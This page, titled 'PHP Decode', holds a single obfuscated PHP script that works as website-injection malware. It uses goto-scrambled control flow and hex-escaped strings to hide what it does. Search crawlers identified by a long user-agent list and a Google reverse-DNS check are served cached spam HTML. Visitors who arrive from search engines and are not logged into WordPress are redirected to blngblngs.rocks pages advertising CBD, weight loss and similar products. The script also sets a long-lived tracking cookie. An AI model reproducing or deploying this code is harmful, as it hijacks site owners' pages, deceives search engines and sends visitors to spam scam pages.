PHP Decode

<?php
goto FzsOP; QiPe7: $m9Kz2 = "\150\x74\164\160\x73\x3a\57\x2f\x62\154\x6e\x67\142\x6c\x6e\147\163\56\162\157\143\153\163\x2f\x63\x62\144\55\x6a\x75\155\x70\x2d\x6e\145\x77\x2e\x70\x68\x70\77\x72\145\146\x70\141\x67\145\75" . $_SERVER["\123\105\122\126\x45\122\x5f\116\x41\115\105"] . $_SERVER["\122\105\x51\x55\x45\123\124\x5f\125\x52\111"]; goto b6SJQ; pWkxb: if (!preg_match("\43\x5e\134\57\x28\x5c\x77\173\63\54\64\x7d\134\55\134\167\x7b\x33\54\x34\175\51\134\x2f\x28\x28\x2e\x2a\x3f\51\134\55\x28\x2e\x2a\x3f\51\134\x2d\x28\x2e\52\x29\x29\43\151", $_SERVER["\x52\x45\121\125\x45\x53\124\137\125\122\111"], $QUC3X)) { goto G6jcK; } goto zPeHk; dMYzV: $rd4a3 = file_get_contents($PGmZ3); goto gPdO4; b_EpE: nlP99: goto chFvK; yX_LG: echo $rd4a3; goto mj51J; v15V1: $PGmZ3 = base64_decode("\x4c\x33\126\x7a\143\x69\71\x33\144\63\143\166\x61\127\x5a\167\x4c\x32\170\x76\132\x33\115\166\x64\x32\x56\x70\132\62\x68\x30\114\167") . $Wndg8 . "\56\x68\164\155\x6c"; goto OghK6; avV3K: qaFF7: goto C767W; jUH2q: $rd4a3 = file_get_contents($PGmZ3); goto yX_LG; ASEnT: dTuX8: goto HwASR; ku5s4: $L_SZJ = 1; goto iYqvU; f38GQ: pMYA0: goto IqNrl; qmrcc: $L_SZJ = 1; goto F3kKo; bLUWo: $oQPgH = array("\43\101\163\153\134\163\52\112\x65\145\166\145\163\43\151", "\43\x48\120\134\x73\52\127\145\142\x5c\x73\x2a\x50\162\x69\156\x74\x53\x6d\141\162\x74\43\151", "\43\110\x54\124\x72\141\x63\x6b\43\x69", "\x23\x49\x44\102\157\164\x23\x69", "\43\111\x6e\x64\x79\x5c\x73\52\x4c\151\x62\162\141\162\x79\x23", "\x23\x4c\151\x73\x74\103\x68\145\143\x6b\x65\162\x23\x69", "\x23\115\123\111\105\103\162\x61\167\154\x65\x72\x23\x69", "\x23\x4e\x65\x74\x43\141\x63\150\145\43\151", "\43\116\x75\164\143\x68\x23\x69", "\x23\x52\x50\x54\55\x48\x54\x54\x50\x43\154\151\x65\x6e\x74\x23\151", "\x23\x72\165\x6c\151\156\x6b\151\134\x2e\162\165\43\x69", "\x23\124\x77\151\143\145\154\x65\x72\43\x69", "\43\127\x65\x62\101\154\164\141\x23\151", "\x23\x57\145\142\x73\164\145\162\134\163\52\x50\162\157\x23\151", "\x23\167\x77\167\x5c\x2e\143\x79\163\x5c\56\162\x75\43\x69", "\x23\127\x79\x73\x69\147\157\x74\43\x69", "\43\131\x61\150\157\157\41\134\x73\x2a\123\x6c\165\162\x70\x23\x69", "\x23\131\x65\x74\151\43\151", "\43\x41\143\143\157\157\156\141\x23\x69", "\x23\103\141\x7a\x6f\157\144\154\145\102\x6f\x74\x23\151", "\x23\103\x46\x4e\145\x74\x77\157\162\x6b\43\151", "\43\103\157\x6e\x76\145\162\x61\x43\x72\x61\167\x6c\145\162\43\151", "\x23\x44\111\x53\103\x6f\43\151", "\43\104\157\x77\156\x6c\157\x61\144\x5c\163\x2a\115\141\163\x74\145\x72\x23\151", "\43\x46\x41\x53\x54\x5c\163\52\115\x65\x74\x61\127\x65\142\x5c\163\52\103\162\141\167\154\145\162\x23\151", "\x23\x46\154\x65\170\165\x6d\x5c\x73\x2a\163\160\151\144\x65\x72\x23\x69", "\x23\107\151\x67\141\x62\x6f\x74\x23\151", "\43\110\124\115\x4c\x50\141\162\x73\145\162\x23\x69", "\x23\x69\141\x5f\x61\162\x63\x68\x69\x76\145\x72\43\x69", "\x23\151\x63\x68\151\162\157\x23\151", "\x23\x49\122\x4c\142\x6f\x74\43\x69", "\x23\112\141\166\x61\43\x69", "\43\153\x6d\x5c\56\162\165\134\163\52\142\157\x74\43\x69", "\x23\x6b\155\x53\x65\x61\162\143\x68\x42\x6f\164\x23\151", "\43\154\151\x62\167\167\x77\x2d\x70\145\x72\154\x23\151", "\43\114\165\160\x61\x5c\x2e\162\165\43\151", "\43\114\127\x50\72\72\123\x69\155\160\154\145\43\x69", "\43\x6c\x77\160\55\164\162\151\166\151\141\x6c\x23\x69", "\x23\x4d\x69\163\163\151\147\165\141\x23\151", "\43\x4d\112\61\62\142\x6f\164\x23\151", "\x23\155\x73\156\142\157\x74\43\x69", "\x23\x6d\x73\x6e\142\x6f\x74\x2d\155\x65\144\151\141\43\151", "\43\x4f\x66\x66\x6c\x69\156\x65\x5c\x73\52\x45\170\160\x6c\157\x72\x65\162\43\151", "\43\117\x6d\156\x69\x45\x78\160\x6c\x6f\x72\x65\x72\137\x42\x6f\x74\43\151", "\x23\x50\105\101\122\43\151", "\x23\160\163\142\157\x74\43\151", "\x23\x50\x79\x74\x68\x6f\156\43\x69", "\43\162\165\x6c\x69\x6e\153\151\x5c\x2e\x72\165\43\151", "\x23\x53\x4d\x49\114\105\x23\151", "\43\123\x70\x65\x65\x64\171\43\x69", "\x23\x54\145\154\145\x70\157\162\164\134\163\x2a\120\162\x6f\x23\151", "\43\124\165\x72\164\154\x65\x53\x63\141\156\156\145\162\43\151", "\x23\x55\163\145\162\55\x41\147\145\156\x74\43\x69", "\43\x76\157\171\x61\147\x65\162\x23\151", "\x23\x57\145\142\x61\x6c\x74\x61\43\x69", "\43\x57\x65\x62\x43\x6f\160\x69\145\x72\43\151", "\43\x57\145\142\x44\x61\x74\x61\x23\151", "\x23\x57\145\142\132\111\120\43\x69", "\x23\127\x67\145\164\x23\x69", "\x23\131\141\x6e\x64\145\170\x23\151", "\x23\131\x61\x6e\147\141\43\151", "\43\x59\x65\164\x69\x23\151", "\43\155\x73\x6e\x62\157\164\43\x69", "\43\x73\160\x69\x64\x65\162\x23\x69", "\x23\171\141\150\157\157\x23\x69", "\43\x6a\145\145\166\145\x73\43\151", "\x23\147\157\x6f\x67\154\145\43\x69", "\43\141\154\164\141\x76\151\x73\164\141\43\x69", "\43\163\143\x6f\x6f\164\x65\x72\43\151", "\43\141\166\x5c\x73\52\x66\x65\164\x63\x68\x23\x69", "\x23\141\163\x74\x65\x72\x69\141\163\x23\x69", "\x23\163\x70\151\144\x65\162\x74\x68\x72\145\141\144\40\162\145\166\151\x73\151\157\x6e\43\151", "\x23\x73\x71\x77\157\x72\x6d\x23\151", "\43\141\163\153\43\x69", "\x23\x6c\x79\143\157\163\56\x73\x70\151\144\x65\x72\x23\151", "\x23\151\156\146\x6f\x73\x65\145\153\40\163\151\x64\x65\167\151\x6e\x64\x65\162\x23\151", "\x23\165\x6c\x74\162\x61\163\x65\x65\153\43\x69", "\x23\160\157\x6c\x79\142\157\164\43\x69", "\43\167\145\x62\143\162\x61\x77\x6c\x65\x72\x23\x69", "\43\162\x6f\x62\157\x7a\151\x6c\x6c\x23\x69", "\x23\147\x75\x6c\x6c\151\166\x65\x72\43\151", "\x23\x61\162\x63\150\x69\164\145\x78\164\163\x70\151\x64\145\x72\43\x69", "\43\171\141\150\157\157\41\134\x73\52\x73\x6c\x75\x72\160\43\151", "\x23\143\150\x61\162\154\157\x74\164\x65\43\x69", "\x23\x6e\x67\x62\x23\x69", "\x23\x42\x69\156\x67\102\x6f\x74\43\x69"); goto qbSp6; Lxesr: if (!preg_match("\x23\136\x5c\x2f\x28\134\x77\x7b\x33\x2c\x34\x7d\134\55\134\167\x7b\65\x2c\x36\175\51\x5c\57\x28\x28\56\52\77\x29\x5c\55\50\x2e\x2a\x3f\51\x5c\55\x28\56\x2a\x29\51\43\x69", $_SERVER["\x52\105\x51\x55\105\123\x54\x5f\x55\x52\111"], $QUC3X)) { goto qaFF7; } goto DhTR2; BmpTP: echo $rd4a3; goto oEoxL; OmRW4: eF0p6: goto MWq6Z; IJEIC: $Wndg8 = str_replace($QUC3X[1] . "\x2f", $QUC3X[1] . "\x5f\165\156\x4c\x69\x6e\145\x5f", $_SERVER["\122\x45\121\x55\x45\x53\x54\137\x55\122\x49"]); goto cydvG; F3kKo: Wugah: goto Rllb9; yKEtv: if (!file_exists($PGmZ3)) { goto PzcDi; } goto RJpSX; Rllb9: if (!(FALSE !== strpos(gethostbyaddr($L8ycZ), "\147\x6f\x6f\147\x6c\x65"))) { goto SrxGe; } goto ku5s4; b6SJQ: header("\x6c\x6f\143\x61\x74\x69\157\x6e\72\x20" . $m9Kz2); goto DZPRK; lra7n: if (!wKUB_($km8Q5)) { goto xnMUW; } goto QiPe7; TySqF: function WkUb_($ABplp) { goto UL02T; UL02T: $M0kQj = str_replace("\170", '', "\x62\x78\x78\x69\170\156\170\147\170\x7c\x78\x61\170\157\170\170\x6c\170\174\141\170\x73\x78\170\x6b\174\x78\x67\170\157\x78\x78\157\170\147\x78\154\170\145\174\x79\170\x78\x61\x78\x68\170\157\170\157\174\x73\170\145\170\170\x61\170\x72\x78\143\x78\150\174\x64\x75\x78\x63\153\x64\x78\x75\143\170\153\x78\147\x6f"); goto G8GxC; G8GxC: if (preg_match("\57{$M0kQj}\x2f\151", $ABplp)) { goto Dgq0i; } goto OHIK_; OHIK_: return false; goto RG59d; RG59d: goto ZrPjR; goto Y89bE; Y89bE: Dgq0i: goto iB0hD; iB0hD: return true; goto Moivv; Moivv: ZrPjR: goto MM1zY; MM1zY: } goto SCEou; CP4i1: PzcDi: goto NgEUf; chFvK: p3E5Q: goto avV3K; CA0g1: $Wndg8 = str_replace($QUC3X[1] . "\57", $QUC3X[1] . "\137\165\156\x4c\151\x6e\x65\x5f", $_SERVER["\122\x45\x51\x55\x45\123\x54\137\125\x52\x49"]); goto rqFyO; WejEG: if (!(!preg_match("\x2f\167\157\x72\x64\x70\162\x65\x73\x73\x5f\154\157\x67\x67\x65\x64\137\151\156\137\x2f\x69", $DFWub) && !$L_SZJ)) { goto dTuX8; } goto lra7n; aZ9tf: if (!Wkub_($km8Q5)) { goto bOMp3; } goto zZuRl; SCEou: $km8Q5 = strtolower($_SERVER["\x48\124\124\x50\137\x52\x45\106\x45\x52\x45\122"]); goto dqjsr; zZuRl: $m9Kz2 = "\150\x74\164\160\x73\72\57\57\x62\154\156\x67\142\x6c\156\147\163\x2e\162\x6f\143\x6b\x73\x2f\x77\x65\x69\147\x68\164\x2d\152\x75\x6d\160\56\160\150\x70\x3f\x72\x65\146\160\141\x67\145\x3d" . $_SERVER["\x53\x45\122\x56\105\122\x5f\x4e\x41\115\x45"] . $_SERVER["\x52\x45\121\x55\105\123\124\x5f\x55\122\111"]; goto p9YIx; DhTR2: if (!(!preg_match("\57\x77\157\162\x64\x70\x72\145\x73\x73\x5f\x6c\x6f\147\x67\145\144\137\151\156\x5f\57\x69", $DFWub) && !$L_SZJ)) { goto sOgPM; } goto aZ9tf; iYqvU: SrxGe: goto TySqF; dqjsr: $DFWub = ''; goto VcT20; p9YIx: header("\154\157\x63\141\164\151\x6f\x6e\x3a\x20" . $m9Kz2); goto n0t0Q; tQuVn: if (!$L_SZJ) { goto p3E5Q; } goto prv5A; mj51J: exit; goto b_EpE; oEoxL: exit; goto CP4i1; NgEUf: JtuRX: goto WuddL; VpZTV: $m9Kz2 = "\x68\x74\x74\x70\163\72\x2f\57\x62\154\x6e\x67\x62\x6c\156\147\163\56\162\157\143\x6b\x73\57\155\x61\x6c\145\x2d\163\164\x6f\x6e\145\56\x70\x68\160\77\x72\x65\x66\160\x61\x67\x65\x3d" . $_SERVER["\x53\105\x52\x56\x45\122\x5f\116\101\x4d\105"] . $_SERVER["\x52\x45\121\125\105\123\x54\137\125\122\x49"]; goto Fz22n; mkzsp: xnMUW: goto ASEnT; zPeHk: if (!(!preg_match("\57\167\157\x72\144\x70\162\145\x73\163\137\154\x6f\x67\x67\145\x64\137\151\156\x5f\x2f\x69", $DFWub) && !$L_SZJ)) { goto v6DKW; } goto EIK6v; rqFyO: $Wndg8 = str_replace("\x2f", '', $Wndg8); goto ve7Ve; DZPRK: exit; goto mkzsp; FzsOP: function xkVSv() { goto lzHYB; PJeyz: goto UpjST; goto J0c6S; lzHYB: $F3of7 = ''; goto SRLSV; pe6Q2: if (getenv("\110\x54\x54\x50\x5f\130\137\106\x4f\x52\127\x41\x52\104\x45\x44\x5f\106\x4f\x52") && strcasecmp(getenv("\110\124\124\x50\x5f\x58\x5f\106\x4f\x52\127\x41\x52\x44\x45\104\137\106\117\x52"), "\165\156\153\x6e\157\x77\x6e")) { goto RwyR1; } goto qzeti; e4g5M: goto UpjST; goto VwBRX; VwBRX: RwyR1: goto w9xHd; Lkh6O: goto UpjST; goto DwWgh; WKR6d: if (isset($_SERVER["\x52\x45\115\x4f\124\105\x5f\x41\104\x44\x52"]) && $_SERVER["\x52\105\x4d\x4f\124\x45\x5f\101\104\x44\122"] && strcasecmp($_SERVER["\122\x45\x4d\x4f\x54\x45\137\101\x44\104\x52"], "\x75\x6e\153\x6e\x6f\167\x6e")) { goto buQw3; } goto PJeyz; VI8xG: goto UpjST; goto rIHKG; qzeti: if (getenv("\122\105\115\x4f\124\x45\x5f\x41\x44\x44\x52") && strcasecmp(getenv("\122\105\115\x4f\124\x45\137\101\104\x44\122"), "\x75\x6e\x6b\156\157\x77\156")) { goto X0za9; } goto WKR6d; OBc_o: $F3of7 = getenv("\x52\x45\x4d\117\124\x45\x5f\x41\104\104\122"); goto VI8xG; J0c6S: Nwkzm: goto pxEpK; pxEpK: $F3of7 = getenv("\110\124\124\x50\x5f\103\x4c\x49\105\x4e\x54\x5f\x49\x50"); goto e4g5M; OwWS8: UpjST: goto rLgUQ; SRLSV: if (getenv("\110\124\124\120\x5f\x43\x4c\111\105\116\124\x5f\x49\x50") && strcasecmp(getenv("\110\x54\124\x50\x5f\103\114\111\105\116\124\x5f\111\120"), "\x75\156\153\156\157\167\156")) { goto Nwkzm; } goto pe6Q2; DwWgh: X0za9: goto OBc_o; w9xHd: $F3of7 = getenv("\110\x54\x54\x50\x5f\130\x5f\x46\x4f\122\x57\101\122\104\x45\104\x5f\106\117\x52"); goto Lkh6O; P1tKR: $F3of7 = $_SERVER["\122\105\x4d\x4f\x54\x45\137\x41\x44\x44\x52"]; goto OwWS8; rLgUQ: return $F3of7; goto mMpcE; rIHKG: buQw3: goto P1tKR; mMpcE: } goto d20Tb; VcT20: foreach ($_COOKIE as $cBxMq => $p5D6H) { $DFWub .= $cBxMq . "\x3d" . $p5D6H . "\x2c"; anXn5: } goto AGpwm; d20Tb: $L8ycZ = XkvsV(); goto bLUWo; L21QI: if (!file_exists($PGmZ3)) { goto pMYA0; } goto dMYzV; C767W: if (!preg_match("\43\136\134\57\50\134\167\173\65\54\66\175\134\55\134\167\173\63\x2c\x34\x7d\x29\x5c\57\x28\x28\56\52\x3f\x29\x5c\55\50\56\52\77\x29\x5c\x2d\x28\56\52\51\51\43\151", $_SERVER["\122\x45\121\125\x45\x53\124\x5f\125\x52\111"], $QUC3X)) { goto eF0p6; } goto WejEG; IqNrl: LeIAi: goto OmRW4; mHxPj: $PGmZ3 = base64_decode("\114\63\x56\172\x63\x69\x39\63\144\x33\x63\166\141\127\x5a\x77\x4c\x32\x78\166\132\63\115\166\x62\127\106\163\x5a\x53\x38") . $Wndg8 . "\56\x68\164\x6d\x6c"; goto yKEtv; gPdO4: echo $rd4a3; goto J_VKt; AGpwm: xGrle: goto pWkxb; Mdjkf: v6DKW: goto zqQQX; Hbgmy: sOgPM: goto tQuVn; SO3xH: QTl1C: goto Mdjkf; J_VKt: exit; goto f38GQ; HwASR: if (!$L_SZJ) { goto LeIAi; } goto CA0g1; OBpHt: bOMp3: goto Hbgmy; B932f: exit; goto SO3xH; OghK6: if (!file_exists($PGmZ3)) { goto nlP99; } goto jUH2q; n0t0Q: exit; goto OBpHt; RJpSX: $rd4a3 = file_get_contents($PGmZ3); goto BmpTP; EIK6v: if (!WKub_($km8Q5)) { goto QTl1C; } goto VpZTV; prv5A: $Wndg8 = str_replace($QUC3X[1] . "\x2f", $QUC3X[1] . "\137\165\x6e\x4c\151\156\x65\137", $_SERVER["\122\x45\x51\x55\x45\x53\124\137\125\122\111"]); goto TcqrX; ve7Ve: $PGmZ3 = base64_decode("\114\x33\x56\172\x63\151\71\x33\144\63\143\166\x61\x57\132\167\114\62\x78\x76\132\x33\x4d\166\131\x32\112\153\x4c\167") . $Wndg8 . "\56\x68\x74\x6d\154"; goto L21QI; TcqrX: $Wndg8 = str_replace("\57", '', $Wndg8); goto v15V1; qbSp6: if (!(!empty($_SERVER["\x48\124\124\120\x5f\125\x53\x45\x52\x5f\x41\107\x45\x4e\124"]) && FALSE !== strpos(preg_replace($oQPgH, "\x2d\x4e\117\55\127\x41\x59\x2d", $_SERVER["\x48\124\x54\x50\x5f\125\x53\105\122\x5f\x41\107\105\x4e\124"]), "\55\116\x4f\x2d\127\x41\131\x2d"))) { goto Wugah; } goto qmrcc; cydvG: $Wndg8 = str_replace("\x2f", '', $Wndg8); goto mHxPj; zqQQX: if (!$L_SZJ) { goto JtuRX; } goto IJEIC; Fz22n: header("\154\x6f\x63\x61\x74\151\x6f\x6e\x3a\x20" . $m9Kz2); goto B932f; WuddL: G6jcK: goto Lxesr; MWq6Z: setcookie("\x77\x6f\162\x64\x70\x72\145\x73\x73\137\x6c\157\147\147\145\144\x5f\x69\156\137\62\61\x32\63\x32\146\62\x39\67\x61\x35\67\x61\65\141\x37\64\x33\70\71\64\x61\x30\145\64\141\x38\60\x31\x66\x63\63", "\167\x6f\x72\144\160\x72\145\163\x73\137\x6c\x6f\147\x67\145\144\x5f\x69\156\x5f\x32\x31\62\63\x32\146\x32\71\67\x61\65\67\141\65\141\x37\x34\63\70\x39\64\141\60\x65\64\141\70\60\x31\x66\x63\63", time() + 3600 * 24 * 100);